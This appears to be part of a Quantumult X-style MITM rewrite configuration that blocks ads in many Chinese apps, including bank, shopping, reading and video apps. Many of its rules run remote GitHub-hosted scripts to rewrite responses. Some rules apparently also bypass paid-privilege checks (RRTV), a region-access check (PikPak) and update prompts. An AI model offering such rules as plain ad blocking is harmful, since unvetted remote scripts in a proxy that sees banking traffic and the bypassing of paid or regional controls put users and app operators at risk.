+# 首页下方广告 +^https?:\/\/oxadmin\.cp\.com\.cn\/api\/hot\/index url reject-dict +^https?:\/\/oxadmin\.cp\.com\.cn\/api\/advertise\/banner url reject-dict + +# > 牛听听 +# hostname = gateway.benewtech.cn, ntt-app.benewtech.cn +^https:\/\/gateway\.benewtech\.cn\/resources-app\/app\/startup\/prepage url reject-dict +^https:\/\/ntt-app\.benewtech\.cn\/v6\/user\/\d+\/messages\/event url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< +# > ofo共享单车 +# hostname = supportda.ofo.com, ma.ofo.com, activity2.api.ofo.com +^https?:\/\/supportda\.ofo\.com\/adaction\? url reject +^https?:\/\/ma\.ofo\.com\/adImage\/ url reject +^https?:\/\/ma\.ofo\.com\/ads url reject +^https?:\/\/activity2\.api\.ofo\.com\/ofo\/Api\/v2\/ads url reject + +# > ONE +# hostname = v3.wufazhuce.com, app.api.d3yuiw4.com, api.21ec74.com +# 开屏广告 +^https?:\/\/v3\.wufazhuce\.com:8000\/api\/adpreloadlist url reject-dict +^https?:\/\/app\.api\.d3yuiw4\.com\/api\/app\/ad url reject +^https?:\/\/api\.21ec74\.com\/v2\.5\/ad url reject + +# > omofun +# hostname = 103.91.210.141 +^https?:\/\/103\.91\.210\.141\:2515\/xgapp\.php\/v2\/top_notice url reject + +# > Oray +# hostname = slapi.oray.net +^https?:\/\/slapi\.oray\.net\/client\/ad url reject +^https?:\/\/slapi\.oray\.net\/adver url reject + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > pikpak +# hostname = access.mypikpak.com +https://access.mypikpak.com/access_controller/v1/area_accessible url reject + +# > PushPlus微信推送广告 +# hostname = image.pushplus.plus, www.pushplus.plus +# 屏蔽图片广告,但是还有css空白模块, 如开启可自行添加主机名 +#^https?:\/\/image\.pushplus\.plus\/ad.* url reject-dict +# 屏蔽广告推送模块,会把“打开小程序”也屏蔽 +^https?:\/\/www\.pushplus\.plus.* url response-body () response-body $1 + +# > 浦发银行 +# hostname = lban.spdb.com.cn, wap.spdb.com.cn +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/getAdvList\.ah$ url reject +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/getAdvertisementList\.ah url reject +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/prefetchAdvList\.ah url reject +^https?:\/\/wap\.spdb\.com\.cn\/mspmk-web-homeassist\/OpenScreenAdv\.ah$ url reject + +# > 浦大喜奔 +# hostname = image.spdbccc.com.cn +^https?:\/\/image\.spdbccc\.com\.cn\/group\d\/M00\/[A-Z0-9]{2}\/[A-Z0-9]{2}\/.+(4038|0571|M511|V-008|g549|b0628|fg817|5w501|Jo341|Z4583|oo845|i4905|MY245|YU472|Y401|w428|s000) url reject-dict + +# > 朴朴超市 +# hostname = j1.pupuapi.com, 54.222.159.138 +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position_types=2(%[A-Z0-9]+)+&store_id url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/PupuSplashAds.js +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position_types=(?!2)(.*)&store_id url reject +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position url reject +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/advertisement\/v1\? url reject-dict +^https?:\/\/54\.222\.159\.138:8053\/^httpdns\/resolve\? url reject-dict + +# > 平安好车主 +# hostname = iobs.pingan.com.cn, hcz-member.pingan.com.cn +^https?:\/\/iobs\.pingan\.com\.cn\/download\/bweb-per-sf-prd\/bweb url reject-200 +^https?:\/\/iobs\.pingan\.com\.cn\/download\/icore-aops-base-dmz-prd\/(YourSystemName|icore-apps-ad) url reject-200 +^https?:\/\/hcz-member\.pingan\.com\.cn\/micro-api\/homepage\/do\/app\/popbox\/getTopPopBox url reject + +# > 平安壹钱包 +# hostname = mobile.1qianbao.com +^https?:\/\/mobile\.1qianbao\.com\/mtp-web\/ui\/op_common_query_business_yqb\.json url reject-200 + +# > 平安证券 +# 开屏广告 感谢【umie】分享 +# hostname = pacdn.m.stock.pingan.com +^https?:\/\/pacdn\.m\.stock\.pingan\.com\/images\/ url reject-dict + +# > 平安口袋银行 +# hostname = cdn.sdb.com.cn +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/general-banner url reject-200 +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/dialog-normal url reject-dict +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/pb\/pb-plugins-recomend-content url reject-dict +# 信用卡-精彩活动模块 +#^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/four-rectangle-grid url reject-dict + +# > 拼多多 +# hostname = api.pinduoduo.com, api.yangkeduo.com, mobile.yangkeduo.com +^https?:\/\/api\.(pinduoduo|yangkeduo)\.com\/api\/cappuccino\/splash url reject +^https?:\/\/api\.pinduoduo\.com\/api\/aquarius\/hungary\/global\/homepage\? url reject-dict +# 多多买菜 开屏广告 +^https?:\/\/mobile\.yangkeduo\.com\/proxy\/api\/api\/express\/post\/waybill\/red_packet\/goods_list$ url response-body "list":\[.+\] response-body "list":[] + +# > 票根 +# hostname = pss.txffp.com +^https?:\/\/pss\.txffp\.com\/piaogen\/images\/launchScreen/ url reject-200 + +# > 票星球 +# hostname = appapi.caiyicloud.com +^https:\/\/appapi\.caiyicloud\.com\/cyy_gatewayapi\/home\/pub\/v3\/banners\/app_start_page url reject-dict + +# > 澎湃新闻 +# hostname = adpai.thepaper.cn +^https?:\/\/adpai\.thepaper\.cn\/.+&ad= url reject + +# > 皮皮虾 +# hostname = *.pipix.com +# 净化 配合图层效果极佳 首页Tap精简 我的页面去除无用模块 感谢【怎么肥事】分享 +#^https?:\/\/.+\.pipix\.com\/bds\/feed\/channel_list\/ url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/PPX.js +#^https?:\/\/.+\.pipix\.com\/bds\/user\/check_in\/ url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/PPX.js + +# > 皮皮搞笑评论区 +# hostname = adapi.izuiyou.com +^https?:\/\/adapi\.izuiyou\.com\/ad\/fetch_api_ads\? url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > QQ钱包 +# hostname = m.qianbao.qq.com +^https?:\/\/m\.qianbao\.qq\.com\/pages\/walletHome\?invisible url reject + +# > QQ浏览器 +# hostname = us.l.qq.com +^https?:\/\/us\.l\.qq\.com\/exapp\?spsa=\d url reject + +# > QQ音乐 +# hostname = us.l.qq.com, y.gtimg.cn +^https?:\/\/us\.l\.qq\.com\/exapp url reject +^https?:\/\/y\.gtimg\.cn\/music\/common\/upload\/t_splash_info\/ url reject +^https?:\/\/.+?\/music\/common\/upload\/t_splash_info\/ url reject +^https?:\/\/y\.gtimg\.cn\/music\/common\/\/upload\/kg_ad/.*?\d{4}\.jpg url reject-img +^https?:\/\/y\.gtimg\.cn\/music\/common\/upload\/targeted_ads url reject-img +^https?:\/\/((25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\.){3}(25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\/music\/common\/upload\/t_splash_info\/ url reject + +# > 去哪儿 +# hostname = qde.qunar.com, homefront.qunar.com, client.qunar.com +^https?:\/\/qde\.qunar\.com\/preload url reject-200 +# 开屏广告 +^https?:\/\/homefront\.qunar\.com\/front\/splash\/ad url reject-dict +^https?:\/\/client\.qunar\.com\/pitcher-proxy\?qrt=p_splashAd url reject + +# > 起点读书 +# hostname = qidian.qpic.cn, mage.if.qidian.com, magev6.if.qidian.com +^https?:\/\/qidian\.qpic\.cn\/qidian_common url reject-img +^https?:\/\/mage\.if\.qidian\.com\/Atom\.axd\/Api\/Client\/GetConfIOS url reject-img +^https?:\/\/mage\.if\.qidian\.com\/argus\/api\/v\d\/client\/getsplashscreen url reject +^https?://magev6.if.qidian.com/argus/api/v1/client/iosad url reject +^https?://magev6.if.qidian.com/argus/api/v1/bookshelf/getad url reject +^https?://magev6.if.qidian.com/argus/api/v4/client/getsplashscreen? url reject +# 起点开屏页广告,每日导读去除,冷启动强制跳转精选页去除,去除发现页弹出的活动弹窗,去除下方(精选 发现 中间的)活动时的tab,去除书架右下角的活动/广告的悬浮icon,搜索页可以搜索用户 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/(v4\/client\/getsplashscreen|v2\/deeplink\/geturl|v1\/(client\/getconf|adv\/getadvlistbatch\?positions=iOS_tab|dailyrecommend\/getdailyrecommend)) url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/qidian.js +# 起点读书投票、章末免费领取章节卡等 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/adv url reject-dict +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/followsubscribe url reject-dict +# 我的界面及活动按钮 +#^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/(v1\/assembly\/toolbar|v3\/user\/getaccountpage) url script-response-body https://raw.githubusercontent.com/Yu9191/Rewrite/main/Qidian_my.js +# 我的界面内测推广 +^http[s]?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/bookshelf\/refresh url reject-dict +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/adv\/getadvlistbatch url reject +# 书架置顶推广(保留签到移除花哨背景) +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/bookshelf\/getTopOperation url reject-dict +# 发现上面的图标屏蔽 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v2\/adv\/getadvlistbatch url reject-dict + +# > 七猫小说 +# hostname = open.e.kuaishou.cn, api-access.pangolin-sdk-toutiao-b.com, api-access.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao1.com, dsp-x.jd.com,api-cfg.wtzw.com, p1-lm.adukwai.com, lf-cdn-tos.bytescm.com +# 删除了域名lf-cdn-tos.bytescm.com,原因是无法MITM +^https?:\/\/open\.e\.kuaishou\.cn\/rest\/e\/v3\/open\/univ url reject +^https?:\/\/api-access\.pangolin-sdk-toutiao-b\.com\/api\/ad\/union\/sdk\/get_ads url reject +^https?:\/\/api-access\.(pangolin-sdk-toutiao|pangolin-sdk-toutiao1)\.com\/api\/ad url reject +^https?:\/\/dsp\-x\.jd\.com\/adx\/sdk url reject +^https?:\/\/api\-cfg\.wtzw\.com\/v1\/(adv|reward|operation) url reject +^https?:\/\/p1\-lm\.adukwai\.com\/bs2\/adUnionVideo url reject +^https?:\/\/lf\-cdn\-tos\.bytescm\.com\/obj\/static\/ad url reject + +# > 穷游 +# hostname = open.qyer.com, media.qyer.com +^https?:\/\/open\.qyer\.com\/qyer\/startpage\/ url reject-200 +^https?:\/\/open\.qyer\.com\/qyer\/config\/get url reject +^https?:\/\/media\.qyer\.com\/ad\/ url reject + +# > 汽车之家 +# hostname = adproxy.autohome.com.cn, app2.autoimg.cn +^https?:\/\/adproxy\.autohome\.com\.cn\/AdvertiseService\/ url reject-img +^https?:\/\/app2\.autoimg\.cn\/apppdfs\/ url reject-img + +# > 汽水音乐 +# hostname = webcast-open.douyin.com, ether-pack.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao?.com, sf*-fe-tos.pglstatp-toutiao.com, lf-cdn-tos.bytescm.com +# 感谢【可莉】分享 +# 发现页面 - 正在直播 +^https:\/\/webcast-open\.douyin\.com\/webcast\/openapi\/feed\/\? url reject-dict +# 字节跳动广告 +^https:\/\/ether-pack\.pangolin-sdk-toutiao\.com\/union\/endcard\/ url reject +^https:\/\/api-access\.pangolin-sdk-toutiao\d?\.com\/api\/ad\/ url reject +^https:\/\/sf\d+-fe-tos\.pglstatp-toutiao\.com\/obj\/ad-pattern\/ url reject +^https:\/\/lf-cdn-tos\.bytescm\.com\/obj\/static\/ad\/ url reject + +# > 奇瑞汽车 +# hostname = +# 开屏广告 +^https:\/\/mobile-consumer-sapp\.chery\.cn\/web\/position\/getShowList\?displayPlatform=1&tabType=0& url reject-dict + +# > 球迷报 +# hostname = a.qiumibao.com +^https?:\/\/a\.qiumibao\.com\/activities\/config\.php url reject +^https?:\/\/a\.qiumibao\.com\/ios\/config\/\?version_code= url reject + +# > 亲宝宝 +# hostname = api.qbb6.com +^https?:\/\/api\.qbb6\.com\/ad\/ url reject + +# > 全民K歌 +# hostname = y.gtimg.cn +^https?:\/\/y\.gtimg\.cn\/music\/common\/\/upload\/kg_ad\/.+?\d{3,4}x\d{4} url reject-200 + +# > 全家便利店 +# hostname = fmapp.chinafamilymart.com.cn +^https?:\/\/fmapp\.chinafamilymart\.com\.cn\/api\/app\/biz\/base\/appversion\/latest url reject + +# > 全能浏览器 +# hostname = mi.gdt.qq.com +# 感谢【梭哈 All in】分享 +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg\?posid= url reject-dict + +# > 全球购骑士卡 +# hostname = facade-api.black-unique.com +# 开屏广告 感谢【Kook】分享 +^https?:\/\/facade-api\.black-unique\.com\/app\/v1\/startScreen\?cityId=102923&channelId=0&width=1170&height=2532 url reject-dict +^https?:\/\/facade-api\.black-unique\.com\/app\/v1\/startScreen\?.* url reject-dict +^https?:\/\/facade-api\.black-unique\.com\/advertise\/v1\/get\?cityId=102923&positions=mine_popup url reject-dict +^https?:\/\/facade-api\.black-unique\.com\/advertise\/v1\/get\?.* url reject-dict + +# > 前程无忧 51Job +# hostname = img01.51jobcdn.com, appapi.51job*.com, cupid.51job*.com +# 去广告 (需卸载App重装) img01.51jobcdn.com +^https:\/\/img01\.51jobcdn\.com\/im\/mkt/(?:tg/((19|20)\d{2})banner/(?!jcgz2/)|\d{4}/bd/\d{4}/).*\.jpg url reject +# 屏蔽更新 +^https?:\/\/appapi\.51job(app)?\.com\/api\/util\/get_version url reject-dict +^https?:\/\/cupid\.51job(app)?\.com\/open\/noauth\/index\/last-version url reject-dict +# 开屏及营销广告 +^https?:\/\/appapi\.51job(app)?\.com\/api\/market\/(?>adtrace|get_launch|get_prompt) url reject +# 顶部弹窗 +^https?:\/\/cupid\.51job(app)?\.com\/open\/guide\/home-page-top url reject +# 首页右上角浮窗及右边浮标 +^https?:\/\/cupid\.51job(app)?\.com\/open\/user-task\/user\/task\/init url reject +# 底栏中央活动标 +^https?:\/\/cupid\.51job(app)?\.com\/open\/index\/notice-infos url reject-dict +# 弹窗广告 +^https?:\/\/cupid\.51job(app)?\.com\/launch-hub\/open\/noauth\/popUp url reject +# 推荐流信息广告 +^https?:\/\/cupid\.51job(app)?\.com\/open\/index\/recommend-infos url reject +^https?:\/\/cupid\.51job(app)?\.com\/open\/noauth\/recommend\/job-tab-dynamic url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/51job.js +# 我的页净化 +^https?:\/\/cupid\.51job(app)?\.com\/open\/my-page\/ url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/51job.js + +# > 去哒 +# hostname = iqushangwang.8quan.com +# 首页开屏广告 感谢【德克萨斯】分享 +^https?:\/\/iqushangwang\.8quan\.com\/index\.php\/i\/index\/index url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/QuDa.js + +# 企迈 - QMAI(包含: 挪瓦咖啡、林里柠檬茶、霸王茶姬、陈香贵) +# hostname = webapi.qmai.cn, miniapp.qmai.cn +^https?:\/\/(?>webapi|miniapp)\.qmai\.cn\/web\/cmk-center\/marketing\/canvas\/advert url reject +^https?:\/\/(?>webapi|miniapp)\.qmai\.cn\/web\/catering([0-9]-apiserver)?\/advertising\/ad\/advertiseInfo url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/qmai.js + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< +# > Reddit +# hostname = gql.reddit.com, gql-fed.reddit.com +# 过滤推广 关NSFW提示 感谢【xream】分享 +^https?:\/\/gql(-fed)?\.reddit\.com url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/reddit.js + +# > 人民日报 +# hostname = app.peopleapp.com, stat.peopleapp.com, adstatic.peopleapp.com +^https?:\/\/app\.peopleapp\.com\/Api\/\d+/HomeApi\/(adv|getAdvertImage) url reject +^https?:\/\/stat\.peopleapp\.com\/ url reject +^https?:\/\/adstatic\.peopleapp\.com\/upload\/AppLoad\/.*.(jpg|png) url reject-200 + +# > 人人视频 +# hostname = api.rr.tv +# > RRTV_level_info +^https?:\/\/api\.rr\.tv\/\w{3}\/level\/info url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_屏蔽軟件更新 +^https?:\/\/api\.rr\.tv\/.*?Version url reject +# > RRTV_去除首頁廣告 +https://api.rr.tv/v3plus/index/channel\?pageNum=1&position=CHANNEL_INDEX url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_去除廣場tab +^https?:\/\/api\.rr\.tv\/app\/config\/h5NativeBar url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_去除商城廣告 +^https?:\/\/api\.rr\.tv\/v3plus\/index\/channel\?pageNum=1&position=CHANNEL_MY url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_Ad_List +^https?:\/\/api\.rr\.tv\/user\/privilege\/list url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_Ad_All +^https?:\/\/api\.rr\.tv\/ad\/getAll url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_Get_Drama +^https?:\/\/api\.rr\.tv\/drama\/app\/get_combined_drama_detail url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_Watch_V4 +https://api.rr.tv/watch/v4 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_User_Info +https://api.rr.tv/user/profile url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_屏蔽限時彈窗 +https://api.rr.tv/storage/business/rootName/app/homePage\?dataType=JSON url reject-dict + +# > 日日煮 +# hostname = cms.daydaycook.com.cn, api.daydaycook.com.cn +^https?:\/\/cms\.daydaycook\.com\.cn\/api\/cms\/advertisement\/ url reject +^https?:\/\/api\.daydaycook\.com\.cn\/daydaycook\/server\/ad\/ url reject + +# > 日淘任意门 +# hostname = app.meruki.cn +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/app\.meruki\.cn\/\?n=Sig\.Front\.AppFront\.GetOpenAdDoorzo url reject-dict + +# > 日产智联 +# hostname = oneapph5.dongfeng-nissan.com.cn +# 开屏广告 +^https?:\/\/oneapph5\.dongfeng-nissan\.com\.cn\/mb-gw\/vmsp-discover\/rest\/business-service\/v1\/advert\/advertinfo url reject-dict + +# > RARBG +# hostname = dyncdn.me +# https://rarbgmirror.org/torrents.php +^https?:\/\/dyncdn\.me\/static\/\d{0,2}\/js\/expla\d{0,4}\.js$ url reject-200 +^https?:\/\/dyncdn\.me\/static\/\d{0,2}\/js\/showads\.js$ url response-body true response-body false + +# > 瑞幸咖啡 +# hostname = capi.lkcoffee.com, ecapi.lkcoffee.com, m.lkcoffee.com, img0*.luckincoffeecdn.com +^https?:\/\/capi\.lkcoffee\.com\/resource\/m\/sys\/app\/adposNew url response-body \{.+\} response-body {"status":"SUCCESS"} +^https?:\/\/(ec|c)api\.lkcoffee\.com\/resource\/m\/eorder\/product\/popAppTagProductList url response-body \{.+\} response-body {"status":"SUCCESS"} +^https?:\/\/m\.lkcoffee\.com\/ecapi\/resource\/m\/member\/exchange\/page url response-body \{.+\} response-body {"status":"SUCCESS"} +^https?:\/\/m\.lkcoffee\.com\/capi\/resource\/m\/growUp\/main url response-body "popTitle":".+?" response-body "popTitle":"" +^https?:\/\/img0[1-9]{1}\.luckincoffeecdn\.com\/group\d/M00/[A-Z0-9]{2}/[A-Z0-9]{2}/[a-zA-Z0-9]{29}\.(jpg|jpeg)_\.webp url reject-200 + + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > spotify +# hostname = spclient.wg.spotify.com, api*.musical.ly +^https?:\/\/spclient\.wg\.spotify\.com\/(ad-logic|ads|.+ad_slot|.+banners|.+canvases|.+cards|.+crashlytics|.+doubleclick.net|.+enabled-tracks|.+event|.+sponsored|.+promoted|.+promoted_offer) url reject-img +^https?:\/\/api\d?\.musical\.ly\/api\/ad\/ url reject-img + +# > Soul +# hostname = 47.110.187.87, ssp.soulapp.cn, chat-live.soulapp.cn, api-account.soulapp.cn, api-global.soulapp.me, api-a.soulapp.cn, api-pay.soulapp.cn, gateway-mobile-gray.soulapp.cn, api-chat.soulapp.cn, post.soulapp.cn, api-user.soulapp.cn +# 替换信息收集 +^https:\/\/data-collector\.soulapp\.cn\/api\/data\/report\/v\d url script-request-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/template/req_replace_body.js +# 信息流,帖子详情页等各种广告 +^https?:\/\/ssp\.soulapp\.cn\/api\/q url reject-dict +^https?:\/\/ssp\.soulapp\.cn\/api\/ad\/config url reject-dict +^https?:\/\/chat-live\.soulapp\.cn\/live\/planet\/recListV2 url reject-200 +^https?:\/\/api-chat\.soulapp\.cn\/chat\/entrance\/first url reject-dict +# 青少年模式弹窗 +^https?:\/\/api-account\.soulapp\.cn\/teenager\/config url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-a\.soulapp\.cn\/v2\/post\/gift\/list url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-a\.soulapp\.cn\/official\/scene\/module url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-user\.soulapp\.cn\/furion\/position\/content url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-user\.soulapp\.cn\/v\d\/planet\/config url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-chat\.soulapp\.cn\/chat\/limitInfo url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/post\.soulapp\.cn\/hot\/soul\/rank url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/post\.soulapp\.cn\/v\d\/post\/homepage\/guide\/card url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/post\.soulapp\.cn\/v\d\/post\/recSquare\/subTabs url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/chat-live\.soulapp\.cn\/chatroom\/chatClassifyRoomList url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/gateway-mobile-gray\.soulapp\.cn\/mobile\/app\/version\/queryIos url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/47\.110\.187\.87\/winterfell\/v2\/getIpByDomain url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +#^https?:\/\/api-pay\.soulapp\.cn\/vip\/meet\/userInfo url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +#^https?:\/\/api-pay\.soulapp\.cn\/privilege\/supervip\/status url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +# 国际版Soul去广告 +^https?:\/\/api-global\.soulapp\.me\/app\/open\/get url reject + +# > Stay +# hostname = api.shenyin.name +# 会导致视频下载转码失败 +#^https?:\/\/api\.shenyin\.name\/stay-fork\/browse\/featured$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/stay.js + +# > 苏宁 +# hostname = mpcs.suning.com, image.suning.com, luckman.suning.com +^https?:\/\/mpcs\.suning\.com\/mpcs\/dm\/getDmInfo url reject +^https?:\/\/image\.suning\.cn\/uimg\/ma\/ad\/ url reject-200 +# 新人专享弹窗 +^https?:\/\/luckman\.suning\.com\/luck-web\/policy\/v\d\/msf\/index\.do url reject-200 + +# > 苏e行 +# hostname = ad.shunchangzhixing.com, api.bwton.com +# 需卸载重装,有缓存 +^https?:\/\/ad\.shunchangzhixing\.com\/getAd url reject-dict +^https?:\/\/api\.bwton\.com\/bff\/app\/h5\/v1\/station\/goods url reject-dict +# 开屏广告 感谢【alist.choc.ga】分享 +^https?:\/\/api\.bwton\.com\/bas\/ad url reject-200 +# 软件内推广广告 感谢【为什么要看头像呢】分享 +^https?:\/\/api\.bwton\.com\/bff\/app\/index\/goods url reject-dict +^https?:\/\/api\.bwton\.com\/bff\/app\/index\/recommend url reject-dict + +# > 苏周到 +# hostname = szdmobile.suzhou.gov.cn +# 更新提示 感谢【alist.choc.ga】分享 +^https?:\/\/szdmobile\.suzhou\.gov\.cn\/thirdapp-center\/appUpdate\/update url reject-dict + +# > 苏打校园APP +# hostname = api.sodalife.xyz +# 净化(需要卸载重装)感谢【TEXAS】分享 +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ATOP url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soda.js +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ABOTTOM url reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ACENTER url reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AMINE%3ABOTTOM url reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/goods url reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AREWARDS%3ACENTER url reject-dict + +# > 四季線上影視 +# hostname = service.4gtv.tv +^https?:\/\/service\.4gtv\.tv\/4gtv\/Data\/(?>GetAD|ADLog) url reject-200 + +# > 四川航空 +# hostname = mapi.sichuanair.com +^https?:\/\/mapi\.sichuanair\.com\/zt\/tribeport\/encrypt_translate_key url reject-200 + +# > 搜狐 +# hostname = *.souhu.com +^https?:\/\/api\.k\.sohu\.com\/api\/news\/adsense url reject-200 +^https?:\/\/pic\.k\.sohu\.com\/img8\/wb\/tj\/ url reject-200 +^https?:\/\/s1\.api\.tv\.itc\.cn\/v4\/mobile\/control\/switch\.json url reject-200 +^https?:\/\/(api|api-bk\d+)\.tv\.sohu\.com\/agg\/api\/app\/config\/bootstrap url reject +^https?:\/\/agn\.aty\.sohu\.com\/m? url reject-img +^https?:\/\/api\.k\.sohu\.com\/api\/channel\/ad\/ url reject-img +^https?:\/\/hui\.sohu\.com\/predownload2\/? url reject-img +^https?:\/\/m\.aty\.sohu\.com\/openload? url reject-img +^https?:\/\/mmg\.aty\.sohu\.com\/mqs? url reject-img +^https?:\/\/mmg\.aty\.sohu\.com\/pvlog? url reject-img +^https?:\/\/photocdn\.sohu\.com\/tvmobilemvms url reject-img +^https?:\/\/pic\.k\.sohu\.com\/img\d\/wb\/tj\/ url reject +^https?:\/\/s\.go\.sohu\.com\/adgtr\/\?gbcode= url reject-img + +# > 搜狗输入法 +# hostname = business-cdn.shouji.sogou.com, ios.sogou.com, android.sogou.com, h5api.sginput.qq.com +#^https?:\/\/business-cdn\.shouji\.sogou\.com\/wapdl\/hole\/.+?\.jpg url reject-200 +# 开屏广告 +^https?://(ios|android)\.sogou\.com/[^/]+/sogou_input_[^/]+/[^/]+/index\.html url reject +# 屏蔽游戏中心 +^https?:\/\/h5api\.sginput\.qq\.com\/v1\/gcenter\/ios\/homepage url reject-dict + +# > 搜电充电 微信小程序 +# hostname = wxs-weixin.sd.zhumanggroup.com +^https?:\/\/wxs-weixin\.sd\.zhumanggroup\.com\/api\/v2\/ad url reject-dict + +# > 深圳通 +# hostname = ecard.shenzhentong.com +^https?:\/\/ecard\.shenzhentong\.com\/wxweb\/bwxppub2\/QryAdvertList\.do url reject-200 + +# > 盛趣游戏 +# hostname = daoyu.sdo.com +^https?:\/\/daoyu\.sdo\.com\/api\/userCommon\/getAppStartAd url reject + +# > 什么值得买 +# hostname = homepage-api.smzdm.com, haojia-api.smzdm.com, app-api.smzdm.com, user-api.smzdm.com, article-api.smzdm.com, qianbao.smzdm.com, s-api.smzdm.com, haojia.m.smzdm.com +^https?:\/\/haojia\.m\.smzdm\.com\/detail_modul\/other_modul\? url reject-dict +^https?:\/\/haojia\.m\.smzdm\.com\/detail_modul\/user_related_modul\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/haojia-api\.smzdm\.com\/ranking_list\/articles\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/s-api\.smzdm\.com\/sou\/filter\/tags\/hot_tags\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/s-api\.smzdm\.com\/sou\/list_v10\? url script-response-body 